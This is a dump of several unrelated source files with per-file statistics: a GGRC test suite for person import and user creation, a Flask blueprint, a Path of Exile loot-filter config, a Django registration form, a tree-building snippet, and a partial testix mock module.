emails = ['aturing@example.com', ]
acp_person_ids = [user.id]
self.assert_person_profile_created(emails)
self.assert_profiles_restrictions()
self.assert_acp_created(acp_person_ids)
@mock.patch('ggrc.settings.INTEGRATION_SERVICE_URL', new='endpoint')
@mock.patch('ggrc.settings.AUTHORIZED_DOMAIN', new='example.com')
def test_wrong_user_creation(self):
"""Test wrong user creation."""
with mock.patch.multiple(
PersonClient,
_post=mock.MagicMock(return_value={'persons': []})
):
data = json.dumps([{'person': {
'name': 'Alan Turing',
'email': 'aturing@example.com',
'context': None,
'external': True
}}])
response = self._post(data)
self.assertStatus(response, 400)
user = Person.query.filter_by(email='aturing@example.com').first()
self.assertIsNone(user)
# checks person profile restrictions
self.assert_profiles_restrictions()
@mock.patch('ggrc.settings.INTEGRATION_SERVICE_URL', new='endpoint')
@mock.patch('ggrc.settings.AUTHORIZED_DOMAIN', new='example.com')
@freeze_time("2019-05-17 17:52:44")
def test_creation_with_empty_name(self):
"""Test user creation with empty name."""
with mock.patch.multiple(
PersonClient,
_post=self._mock_post
):
data = json.dumps([{'person': {
'name': '',
'email': 'aturing@example.com',
'context': None,
'external': True
}}])
response = self._post(data)
self.assertStatus(response, 200)
user = Person.query.filter_by(email='aturing@example.com').first()
self.assertEquals(user.name, 'aturing')
# checks person profile restrictions
self.assert_profiles_restrictions()
@mock.patch('ggrc.settings.INTEGRATION_SERVICE_URL', new='endpoint')
@mock.patch('ggrc.settings.AUTHORIZED_DOMAIN', new='example.com')
@freeze_time("2018-05-20 10:22:22")
def test_person_import_for_audit(self):
"""Test for mapped persons to an Audit"""
with mock.patch.multiple(
PersonClient,
_post=self._mock_post
):
program = factories.ProgramFactory()
response = self.import_data(OrderedDict([
("object_type", "Audit"),
("Code*", ""),
("Program*", program.slug),
("Auditors", "cbabbage@example.com"),
("Title", "Title"),
("State", "Planned"),
("Audit Captains", "aturing@example.com")
]))
self._check_csv_response(response, {})
audit = Audit.query.filter(Audit.program_id == program.id).first()
auditors = [person.email for person, acl in audit.access_control_list
if acl.ac_role.name == "Auditors"]
captains = [person.email for person, acl in audit.access_control_list
if acl.ac_role.name == "Audit Captains"]
self.assertItemsEqual(["cbabbage@example.com"], auditors)
self.assertItemsEqual(["aturing@example.com"], captains)
# checks person profile was created successfully
emails = ["aturing@example.com", "cbabbage@example.com"]
self.assert_person_profile_created(emails)
self.assert_profiles_restrictions()
@mock.patch('ggrc.settings.INTEGRATION_SERVICE_URL', new='endpoint')
@mock.patch('ggrc.settings.AUTHORIZED_DOMAIN', new='example.com')
@freeze_time("2018-05-20 10:22:22")
def test_person_import_for_assessment(self): # pylint: disable=invalid-name
"""Test for mapped persons to an Assessment"""
with mock.patch.multiple(
PersonClient,
_post=self._mock_post
):
audit = factories.AuditFactory()
response = self.import_data(OrderedDict([
("object_type", "Assessment"),
("Code*", ""),
("Audit*", audit.slug),
("Creators*", "aturing@example.com"),
("Assignees*", "aturing@example.com"),
("Secondary Contacts", "cbabbage@example.com"),
("Title", "Title")
]))
self._check_csv_response(response, {})
assessment = Assessment.query.filter(
Assessment.audit_id == audit.id).first()
creators_acl = assessment.acr_name_acl_map["Creators"]
creators = [
acp.person.email
for acp in creators_acl.access_control_people
]
assignees_acl = assessment.acr_name_acl_map["Assignees"]
assignees = [
acp.person.email
for acp in assignees_acl.access_control_people
]
contacts_acl = assessment.acr_name_acl_map["Secondary Contacts"]
secondary_contacts = [
acp.person.email
for acp in contacts_acl.access_control_people
]
self.assertIn("aturing@example.com", creators)
self.assertIn("aturing@example.com", assignees)
self.assertEqual("cbabbage@example.com", secondary_contacts[0])
# checks person profile was created successfully
emails = ["aturing@example.com", "cbabbage@example.com"]
self.assert_person_profile_created(emails)
self.assert_profiles_restrictions()
# pylint: disable=invalid-name
@mock.patch('ggrc.settings.INTEGRATION_SERVICE_URL', new='endpoint')
@mock.patch('ggrc.settings.AUTHORIZED_DOMAIN', new='example.com')
@freeze_time("2018-05-20 08:22:22")
def test_person_import_for_assessment_template(self):
"""Test for mapped persons for an assessment template"""
with mock.patch.multiple(
PersonClient,
_post=self._mock_post
):
audit = factories.AuditFactory()
response = self.import_data(OrderedDict([
("object_type", "Assessment_Template"),
("Code*", ""),
("Audit*", audit.slug),
("Default Assignees", "aturing@example.com"),
("Default Verifiers", "aturing@example.com\ncbabbage@example.com"),
("Title", "Title"),
("Default Assessment Type", 'Control'),
]))
self._check_csv_response(response, {})
assessment_template = AssessmentTemplate.query.filter(
AssessmentTemplate.audit_id == audit.id).first()
self.assertEqual(len(assessment_template.default_people['verifiers']), 2)
self.assertEqual(len(assessment_template.default_people['assignees']), 1)
# checks person profile was created successfully
emails = ["aturing@example.com", "cbabbage@example.com"]
self.assert_person_profile_created(emails)
self.assert_profiles_restrictions()
@mock.patch('ggrc.settings.INTEGRATION_SERVICE_URL', new='endpoint')
@mock.patch('ggrc.settings.AUTHORIZED_DOMAIN', new='example.com')
@freeze_time("2018-05-30 12:58:22")
def test_import_no_assignees(self):
"""Test for import assessment template without default assignees"""
with mock.patch.multiple(
PersonClient,
_post=self._mock_post
):
audit = factories.AuditFactory()
response = self.import_data(OrderedDict([
("object_type", "Assessment_Template"),
("Code*", ""),
("Audit*", audit.slug),
("Default Verifiers", "aturing@example.com"),
("Title", "Title"),
("Default Assessment Type", 'Control'),
]))
self._check_csv_response(
response,
{"Assessment Template": {
"row_errors": {errors.MISSING_COLUMN.format(
line=3, column_names="Default Assignees", s="")}}})
# checks person profile was created successfully
emails = ["aturing@example.com", ]
self.assert_person_profile_created(emails)
self.assert_profiles_restrictions()
@mock.patch('ggrc.settings.INTEGRATION_SERVICE_URL', new='endpoint')
@mock.patch('ggrc.settings.AUTHORIZED_DOMAIN', new='example.com')
@freeze_time("2018-05-30 12:56:17")
@ddt.data(
"",
"--"
)
def test_empty_assignees_import(self, assignees):
"""Test for import assessment template with empty default assignees"""
with mock.patch.multiple(
PersonClient,
_post=self._mock_post
):
audit = factories.AuditFactory()
response = self.import_data(OrderedDict([
("object_type", "Assessment_Template"),
("Code*", ""),
("Audit*", audit.slug),
("Default Assignees", assignees),
("Default Verifiers", "aturing@example.com"),
("Title", "Title"),
("Default Assessment Type", 'Control'),
]))
self._check_csv_response(
response,
{"Assessment Template": {
"row_errors": {errors.WRONG_REQUIRED_VALUE.format(
line=3, value=assignees, column_name="Default Assignees")}}})
# checks person profile was created successfully
emails = ["aturing@example.com", ]
self.assert_person_profile_created(emails)
self.assert_profiles_restrictions()
@mock.patch('ggrc.settings.INTEGRATION_SERVICE_URL', new='endpoint')
@mock.patch('ggrc.settings.AUTHORIZED_DOMAIN', new='example.com')
@freeze_time("2018-05-21 01:11:11")
def test_wrong_person_import(self):
"""Test for wrong person import"""
with mock.patch.multiple(
PersonClient,
_post=mock.MagicMock(return_value={'persons': [{
'firstName': "Alan",
'lastName': 'Turing',
'username': "aturing"}]})
):
audit = factories.AuditFactory()
response = self.import_data(OrderedDict([
("object_type", "Assessment_Template"),
("Code*", ""),
("Audit*", audit.slug),
("Default Assignees", "aturing@example.com"),
("Default Verifiers", "aturing@example.com\ncbabbage@example.com"),
("Title", "Title"),
("Default Assessment Type", 'Control'),
]))
self._check_csv_response(
response,
{"Assessment Template": {
"row_warnings": {errors.UNKNOWN_USER_WARNING.format(
line=3, email="cbabbage@example.com")}}})
# checks person profile was created successfully
emails = ["aturing@example.com", ]
self.assert_person_profile_created(emails)
self.assert_profiles_restrictions()
@mock.patch('ggrc.settings.INTEGRATION_SERVICE_URL', new='endpoint')
@mock.patch('ggrc.settings.AUTHORIZED_DOMAIN', new='example.com')
@freeze_time("2018-05-30 02:22:11")
def test_verifier_import(self):
"""Test for verifiers import"""
with mock.patch.multiple(
PersonClient,
_post=mock.MagicMock(return_value={'persons': [{
'firstName': 'Alan',
'lastName': 'Turing',
'username': 'aturing'}]})
):
audit = factories.AuditFactory()
response = self.import_data(OrderedDict([
('object_type', 'Assessment_Template'),
('Code*', ''),
('Audit*', audit.slug),
('Default Assignees', 'aturing@example.com'),
('Default Verifiers', 'aturing@example.com'),
('Title', 'Title'),
('Default Assessment Type', 'Control'),
]))
assessment_template = AssessmentTemplate.query.filter(
AssessmentTemplate.audit_id == audit.id).first()
self._check_csv_response(response, {})
self.assertEqual(
len(assessment_template.default_people['assignees']), 1)
self.assertEqual(
len(assessment_template.default_people['verifiers']), 1)
# checks person profile was created successfully
emails = ["aturing@example.com", ]
self.assert_person_profile_created(emails)
self.assert_profiles_restrictions()
@mock.patch('ggrc.settings.INTEGRATION_SERVICE_URL', new='endpoint')
@mock.patch('ggrc.settings.AUTHORIZED_DOMAIN', new='example.com')
@freeze_time("2018-05-30 02:22:11")
@ddt.data(
('', 'aturing@example.com', {
'Assessment Template': {
'row_errors': {
errors.WRONG_REQUIRED_VALUE.format(
line=3, value='',
column_name='Default Assignees')
}
}
}),
)
@ddt.unpack
def test_invalid_verifier_import(self, assignee_email,
verifier_email, expected_errors):
"""Test for invalid verifier import"""
with mock.patch.multiple(
PersonClient,
_post=mock.MagicMock(return_value={'persons': [{
'firstName': 'Alan',
'lastName': 'Turing',
'username': 'aturing'}]})
):
audit = factories.AuditFactory()
response = self.import_data(OrderedDict([
('object_type', 'Assessment_Template'),
('Code*', ''),
('Audit*', audit.slug),
('Default Assignees', assignee_email),
('Default Verifiers', verifier_email),
('Title', 'Title'),
('Default Assessment Type', 'Control'),
]))
self._check_csv_response(response, expected_errors)
# checks person profile was created successfully
emails = ["aturing@example.com", ]
self.assert_person_profile_created(emails)
self.assert_profiles_restrictions()
@mock.patch('ggrc.settings.INTEGRATION_SERVICE_URL', new='endpoint')
@mock.patch('ggrc.settings.AUTHORIZED_DOMAIN', new='example.com')
@freeze_time("2019-09-10 11:11:11")
@ddt.data(
('aturing@example.com', '', {}),
('aturing@example.com', '--', {})
)
@ddt.unpack
def test_empty_verifiers_import(self, assignee_email,
verifier_email, expected_errors):
"""Test for empty verifiers import"""
with mock.patch.multiple(
PersonClient,
_post=mock.MagicMock(return_value={'persons': [{
'firstName': 'Alan',
'lastName': 'Turing',
'username': 'aturing'}]})
):
audit = factories.AuditFactory()
response = self.import_data(OrderedDict([
('object_type', 'Assessment_Template'),
('Code*', ''),
('Audit*', audit.slug),
('Default Assignees', assignee_email),
('Default Verifiers', verifier_email),
('Title', 'Title'),
('Default Assessment Type', 'Control'),
]))
assessment_template = AssessmentTemplate.query.filter(
AssessmentTemplate.audit_id == audit.id).first()
self._check_csv_response(response, expected_errors)
self.assertEqual(len(assessment_template.default_people['assignees']), 1)
self.assertEqual(assessment_template.default_people['verifiers'], None)
# checks person profile was created successfully
emails = ["aturing@example.com", ]
self.assert_person_profile_created(emails)
self.assert_profiles_restrictions()
@mock.patch('ggrc.settings.INTEGRATION_SERVICE_URL', new='endpoint')
@mock.patch('ggrc.settings.AUTHORIZED_DOMAIN', new='example.com')
@freeze_time("2018-05-30 02:22:11")
@ddt.data(
('--', None),
('', "Admin"),
)
@ddt.unpack
def test_import_template_update(self, verifier_update_email,
default_verifiers):
"""Test for template update via import."""
with mock.patch.multiple(
PersonClient,
_post=self._mock_post
):
audit = factories.AuditFactory()
assessment_template = factories.AssessmentTemplateFactory(audit=audit)
response = self.import_data(OrderedDict([
('object_type', 'Assessment_Template'),
('Code*', assessment_template.slug),
('Audit*', audit.slug),
('Default Assignees', 'aturing2@example.com'),
('Default Verifiers', verifier_update_email),
('Title', 'Title'),
('Default Assessment Type', 'Control'),
]))
updated_template = AssessmentTemplate.query.filter(
AssessmentTemplate.slug == assessment_template.slug).first()
self._check_csv_response(response, {})
self.assertNotEqual(updated_template.default_people['assignees'],
assessment_template.default_people['assignees'])
self.assertEqual(updated_template.default_people['verifiers'],
default_verifiers)
@mock.patch('ggrc.settings.INTEGRATION_SERVICE_URL', new='endpoint')
@mock.patch('ggrc.settings.AUTHORIZED_DOMAIN', new='example.com')
@freeze_time("2018-04-30 02:22:11")
def test_assignee_import(self):
"""Test for assignees import"""
with mock.patch.multiple(
PersonClient,
_post=mock.MagicMock(return_value={'persons': [{
'firstName': 'Alan',
'lastName': 'Turing',
'username': 'aturing'}]})
):
audit = factories.AuditFactory()
response = self.import_data(OrderedDict([
('object_type', 'Assessment_Template'),
('Code*', ''),
('Audit*', audit.slug),
('Default Assignees', 'aturing@example.com'),
('Title', 'Title'),
('Default Assessment Type', 'Control'),
]))
assessment_template = AssessmentTemplate.query.filter(
AssessmentTemplate.audit_id == audit.id).first()
self._check_csv_response(response, {})
self.assertEqual(len(assessment_template.default_people['assignees']), 1)
# checks person profile was created successfully
emails = ["aturing@example.com", ]
self.assert_person_profile_created(emails)
self.assert_profiles_restrictions()
@mock.patch('ggrc.settings.INTEGRATION_SERVICE_URL', new='endpoint')
@mock.patch('ggrc.utils.user_generator.search_user', return_value='user')
def test_invalid_email_import(self, _):
"""Test import of invalid email."""
wrong_email = "some_wrong_email"
audit = factories.AuditFactory()
response = self.import_data(OrderedDict([
("object_type", "Assessment"),
("Code*", ""),
("Audit*", audit.slug),
("Assignees*", wrong_email),
("Title", "Some title"),
]))
expected_errors = {
"Assessment": {
"row_errors": {
errors.VALIDATION_ERROR.format(
line=3,
column_name="Assignees",
message="Email address '{}' is invalid."
" Valid email must be provided".format(wrong_email)
)
},
"row_warnings": {
errors.UNKNOWN_USER_WARNING.format(
line=3, email=wrong_email
),
errors.OWNER_MISSING.format(
line=3, column_name="Assignees"
),
}
}
}
self._check_csv_response(response, expected_errors)
# checks person profile restrictions
self.assert_profiles_restrictions()
| 36.533019
| 79
| 0.627846
| 2,444
| 23,235
| 5.786007
| 0.100246
| 0.049501
| 0.049289
| 0.049006
| 0.772364
| 0.740683
| 0.712679
| 0.702567
| 0.687787
| 0.684322
| 0
| 0.014359
| 0.232709
| 23,235
| 635
| 80
| 36.590551
| 0.778831
| 0.068345
| 0
| 0.661682
| 0
| 0
| 0.23906
| 0.058766
| 0
| 0
| 0
| 0
| 0.11028
| 1
| 0.037383
| false
| 0
| 0.072897
| 0.001869
| 0.115888
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
f028d9b2124996012bd66101169419aa1b5633c5
| 453
|
py
|
Python
|
app/common/routes.py
|
phac-nml/irida-uploader-webapp
|
9a01be7a6d803ba14cbdb7caec33f07b30ef9f5a
|
[
"Apache-2.0"
] | null | null | null |
app/common/routes.py
|
phac-nml/irida-uploader-webapp
|
9a01be7a6d803ba14cbdb7caec33f07b30ef9f5a
|
[
"Apache-2.0"
] | null | null | null |
app/common/routes.py
|
phac-nml/irida-uploader-webapp
|
9a01be7a6d803ba14cbdb7caec33f07b30ef9f5a
|
[
"Apache-2.0"
] | null | null | null |
from flask import Blueprint, render_template, request
main = Blueprint('main', __name__, url_prefix='')
@main.route("/")
def index():
return render_template("index.html")
@main.route("/clientside_table")
def clientside_table():
return render_template("clientside_table.html")
@main.route("/run_table")
def run_table():
# run = request.args.get('run', '')
# print("run_table: " + run)
return render_template("run_table.html")
| 20.590909
| 53
| 0.693157
| 57
| 453
| 5.22807
| 0.385965
| 0.187919
| 0.201342
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.14128
| 453
| 21
| 54
| 21.571429
| 0.766067
| 0.13245
| 0
| 0
| 0
| 0
| 0.197436
| 0.053846
| 0
| 0
| 0
| 0
| 0
| 1
| 0.272727
| false
| 0
| 0.090909
| 0.272727
| 0.636364
| 0.181818
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
f04806af55e487f5e63161059170a2b94b466216
| 533
|
py
|
Python
|
src/riotwatcher/_apis/league_of_legends/urls/__init__.py
|
acgandhi/Riot-Watcher
|
f8a7ea144a00fc62f9ffaee5bad3158f41251589
|
[
"MIT"
] | 489
|
2015-01-04T22:49:51.000Z
|
2022-03-28T03:15:54.000Z
|
src/riotwatcher/_apis/league_of_legends/urls/__init__.py
|
acgandhi/Riot-Watcher
|
f8a7ea144a00fc62f9ffaee5bad3158f41251589
|
[
"MIT"
] | 162
|
2015-02-09T22:10:40.000Z
|
2022-02-22T13:48:50.000Z
|
src/riotwatcher/_apis/league_of_legends/urls/__init__.py
|
acgandhi/Riot-Watcher
|
f8a7ea144a00fc62f9ffaee5bad3158f41251589
|
[
"MIT"
] | 221
|
2015-01-07T18:01:57.000Z
|
2022-03-26T21:18:48.000Z
|
from .ChampionApiUrls import ChampionApiV3Urls
from .ChampionMasteryApiUrls import ChampionMasteryApiV4Urls
from .ClashApiUrls import ClashApiV1Urls
from .DataDragonUrls import DataDragonUrls
from .LeagueApiUrls import LeagueApiV4Urls
from .LolStatusApiUrls import LolStatusApiV3Urls
from .LolStatusApiV4Urls import LolStatusApiV4Urls
from .SpectatorApiUrls import SpectatorApiV4Urls
from .SummonerApiUrls import SummonerApiV4Urls
from .ThirdPartyCodeApiUrls import ThirdPartyCodeApiV4Urls
from .MatchApiV5Urls import MatchApiV5Urls
| 44.416667
| 60
| 0.896811
| 44
| 533
| 10.863636
| 0.477273
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.02454
| 0.082552
| 533
| 11
| 61
| 48.454545
| 0.952965
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
f061b5f6f1562704b3b9f1cde33a6ce3cc7c2bb5
| 91
|
py
|
Python
|
rurina3/prefabs/math.py
|
TeaCondemns/rurina
|
43725ebea5872953125271a9abb300a4e3a80a64
|
[
"MIT"
] | null | null | null |
rurina3/prefabs/math.py
|
TeaCondemns/rurina
|
43725ebea5872953125271a9abb300a4e3a80a64
|
[
"MIT"
] | null | null | null |
rurina3/prefabs/math.py
|
TeaCondemns/rurina
|
43725ebea5872953125271a9abb300a4e3a80a64
|
[
"MIT"
] | null | null | null |
from math import sqrt, floor, ceil, inf
__all__ = [
'floor',
'ceil',
'inf'
]
| 10.111111
| 39
| 0.538462
| 11
| 91
| 4.090909
| 0.727273
| 0.4
| 0.533333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.307692
| 91
| 8
| 40
| 11.375
| 0.714286
| 0
| 0
| 0
| 0
| 0
| 0.131868
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.166667
| 0
| 0.166667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
f06b8b39ef876a9b156afd6e7ce1ec146393c307
| 2,605
|
py
|
Python
|
item_config/animate_weapon.py
|
xanthics/poe_filter
|
d01bc823f97e247ebdf2921b86b720e2b6edc673
|
[
"MIT"
] | 4
|
2016-05-03T17:49:13.000Z
|
2019-03-30T03:22:40.000Z
|
item_config/animate_weapon.py
|
xanthics/poe_filter
|
d01bc823f97e247ebdf2921b86b720e2b6edc673
|
[
"MIT"
] | 2
|
2016-05-03T09:07:52.000Z
|
2018-12-24T08:47:12.000Z
|
item_config/animate_weapon.py
|
xanthics/poe_filter
|
d01bc823f97e247ebdf2921b86b720e2b6edc673
|
[
"MIT"
] | 1
|
2018-11-21T15:54:08.000Z
|
2018-11-21T15:54:08.000Z
|
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Author: Jeremy Parks
# Note: Requires Python 3.3.x or higher
desc = "Animate Weapon target"
# types intended for this is "animate melee" and "animate range"
# Base type : settings pair
items = {
"0 animate melee white 4x1": {"other": ["Class Dagger \"One Hand\" Stave \"Two Hand\" Sceptre Claws", "Rarity Normal", "Height 4", "Width 1"], "type": "animate melee b"},
"0 animate range white 4x1": {"other": ["Class Wand Bow", "Rarity Normal", "Height 4", "Width 1"], "type": "ignore"},
"0 animate melee magic 4x1": {"other": ["Class Dagger \"One Hand\" Stave \"Two Hand\" Sceptre Claws", "Rarity Magic", "Height 4", "Width 1", "Identified True"], "type": "animate melee b"},
"0 animate range magic 4x1": {"other": ["Class Wand Bow", "Rarity Magic", "Height 4", "Width 1", "Identified True"], "type": "ignore"},
"0 animate melee white 3x1": {"other": ["Class Dagger \"One Hand\" Stave \"Two Hand\" Sceptre Claws", "Rarity Normal", "Height 3", "Width 1"], "type": "animate melee b"},
"0 animate range white 3x1": {"other": ["Class Wand Bow", "Rarity Normal", "Height 3", "Width 1"], "type": "ignore"},
"0 animate melee magic 3x1": {"other": ["Class Dagger \"One Hand\" Stave \"Two Hand\" Sceptre Claws", "Rarity Magic", "Height 3", "Width 1", "Identified True"], "type": "animate melee b"},
"0 animate range magic 3x1": {"other": ["Class Wand Bow", "Rarity Magic", "Height 3", "Width 1", "Identified True"], "type": "ignore"},
"0 animate melee white 2x2": {"other": ["Class Dagger \"One Hand\" Stave \"Two Hand\" Sceptre Claws", "Rarity Normal", "Height 2", "Width 2"], "type": "animate melee b"},
"0 animate range white 2x2": {"other": ["Class Wand Bow", "Rarity Normal", "Height 2", "Width 2"], "type": "ignore"},
"0 animate melee magic 2x2": {"other": ["Class Dagger \"One Hand\" Stave \"Two Hand\" Sceptre Claws", "Rarity Magic", "Height 2", "Width 2", "Identified True"], "type": "animate melee b"},
"0 animate range magic 2x2": {"other": ["Class Wand Bow", "Rarity Magic", "Height 2", "Width 2", "Identified True"], "type": "ignore"},
"1 animate melee white": {"other": ["Class Dagger \"One Hand\" Stave \"Two Hand\" Sceptre Claws", "Rarity Normal"], "type": "animate melee"},
"1 animate range white": {"other": ["Class Wand Bow", "Rarity Normal"], "type": "ignore"},
"1 animate melee magic": {"other": ["Class Dagger \"One Hand\" Stave \"Two Hand\" Sceptre Claws", "Rarity Magic", "Identified True"], "type": "animate melee"},
"1 animate range magic": {"other": ["Class Wand Bow", "Rarity Magic", "Identified True"], "type": "ignore"},
}
| 86.833333
| 189
| 0.639923
| 366
| 2,605
| 4.554645
| 0.163934
| 0.122376
| 0.076785
| 0.091182
| 0.874625
| 0.830234
| 0.736053
| 0.629274
| 0.567487
| 0.515297
| 0
| 0.030289
| 0.150864
| 2,605
| 30
| 190
| 86.833333
| 0.723327
| 0.071401
| 0
| 0
| 0
| 0
| 0.668186
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
f06f0499631fa780ae8dbe69c12169293f2cdbf8
| 459
|
py
|
Python
|
mysite/register/forms.py
|
p-jonczyk/cost-split
|
79f8890c54a0978c0fcbd481e2fdfa55eb0b3010
|
[
"MIT"
] | null | null | null |
mysite/register/forms.py
|
p-jonczyk/cost-split
|
79f8890c54a0978c0fcbd481e2fdfa55eb0b3010
|
[
"MIT"
] | null | null | null |
mysite/register/forms.py
|
p-jonczyk/cost-split
|
79f8890c54a0978c0fcbd481e2fdfa55eb0b3010
|
[
"MIT"
] | null | null | null |
from dataclasses import fields
from django.contrib.auth import login, authenticate
from django.contrib.auth.forms import UserCreationForm
from django import forms
from django.contrib.auth.models import User
class RegisterForm(UserCreationForm):
# add email field to register form
email = forms.EmailField()
# change properties of django form
class Meta:
model = User
fields = ['username', 'email', 'password1', 'password2']
| 28.6875
| 64
| 0.740741
| 55
| 459
| 6.181818
| 0.545455
| 0.117647
| 0.15
| 0.185294
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005348
| 0.185185
| 459
| 15
| 65
| 30.6
| 0.903743
| 0.141612
| 0
| 0
| 0
| 0
| 0.079284
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.1
| 0.5
| 0
| 0.8
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
|
0
| 4
|
f0746aca3446ff0706abf62cc0d339fdffc26927
| 353
|
py
|
Python
|
leetcode_practice/binarytree_preorder_inorder.py
|
tonyxuxuxu/tonyxuxuxu.github.io
|
6e98c00f4317ca41aba18d02ccb99ba53982a708
|
[
"Apache-2.0"
] | null | null | null |
leetcode_practice/binarytree_preorder_inorder.py
|
tonyxuxuxu/tonyxuxuxu.github.io
|
6e98c00f4317ca41aba18d02ccb99ba53982a708
|
[
"Apache-2.0"
] | null | null | null |
leetcode_practice/binarytree_preorder_inorder.py
|
tonyxuxuxu/tonyxuxuxu.github.io
|
6e98c00f4317ca41aba18d02ccb99ba53982a708
|
[
"Apache-2.0"
] | null | null | null |
class Solution:
def buildtree(self, preorder, inorder):
if inorder:
root_index = inorder.index(preorder.pop(0))
root = TreeNode(inorder[root_index])
root.left = self.buildtree(preorder, inorder[:root_index])
rootright = self.buildtree(preorder, inorder[root_index+1:])
return root
| 39.222222
| 72
| 0.623229
| 39
| 353
| 5.538462
| 0.435897
| 0.203704
| 0.296296
| 0.259259
| 0.342593
| 0.342593
| 0
| 0
| 0
| 0
| 0
| 0.007782
| 0.271955
| 353
| 8
| 73
| 44.125
| 0.832685
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.125
| false
| 0
| 0
| 0
| 0.375
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
b2c13e776e18ba4b489ae8d61d6de23903a9864b
| 93
|
py
|
Python
|
lewis_emulators/mezflipr/interfaces/__init__.py
|
ISISComputingGroup/EPICS-DeviceEmulator
|
026c2a14a16bb204ea7527e3765daa182cafa814
|
[
"BSD-3-Clause"
] | 2
|
2020-10-20T16:49:13.000Z
|
2021-02-19T10:41:44.000Z
|
lewis_emulators/mezflipr/interfaces/__init__.py
|
ISISComputingGroup/EPICS-DeviceEmulator
|
026c2a14a16bb204ea7527e3765daa182cafa814
|
[
"BSD-3-Clause"
] | 9
|
2019-03-22T15:35:15.000Z
|
2021-07-28T11:05:43.000Z
|
lewis_emulators/mezflipr/interfaces/__init__.py
|
ISISComputingGroup/EPICS-DeviceEmulator
|
026c2a14a16bb204ea7527e3765daa182cafa814
|
[
"BSD-3-Clause"
] | 1
|
2020-10-21T17:02:44.000Z
|
2020-10-21T17:02:44.000Z
|
from .stream_interface import MezfliprStreamInterface
__all__ = ['MezfliprStreamInterface']
| 23.25
| 53
| 0.849462
| 7
| 93
| 10.571429
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.086022
| 93
| 3
| 54
| 31
| 0.870588
| 0
| 0
| 0
| 0
| 0
| 0.247312
| 0.247312
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
b2ee83332113bad0e6109aa362878d019cd500c9
| 790
|
py
|
Python
|
testix/call_modifiers/synchronous.py
|
haarcuba/testix
|
9cd7975a4b0baf6cadfab8d9405f6d19defe8372
|
[
"MIT"
] | 3
|
2016-09-24T16:56:48.000Z
|
2020-01-08T14:15:19.000Z
|
testix/call_modifiers/synchronous.py
|
haarcuba/testix
|
9cd7975a4b0baf6cadfab8d9405f6d19defe8372
|
[
"MIT"
] | 32
|
2019-05-03T20:08:47.000Z
|
2022-02-19T13:53:26.000Z
|
testix/call_modifiers/synchronous.py
|
haarcuba/testix
|
9cd7975a4b0baf6cadfab8d9405f6d19defe8372
|
[
"MIT"
] | 1
|
2021-08-23T10:30:51.000Z
|
2021-08-23T10:30:51.000Z
|
from testix import fake
from testix import fake_privacy_violator
import uuid
from . import base
class Synchronous(base.Base):
def __init__(self, call):
self.__result = None
id = str(uuid.uuid4())[-12:]
self.__enter_mock = fake.Fake(f'{call}@{id}.__enter__')
def __enter__(self):
self.__enter_mock()
return self.__result
def __exit__(self, exception_type, exception_value, traceback):
pass
@property
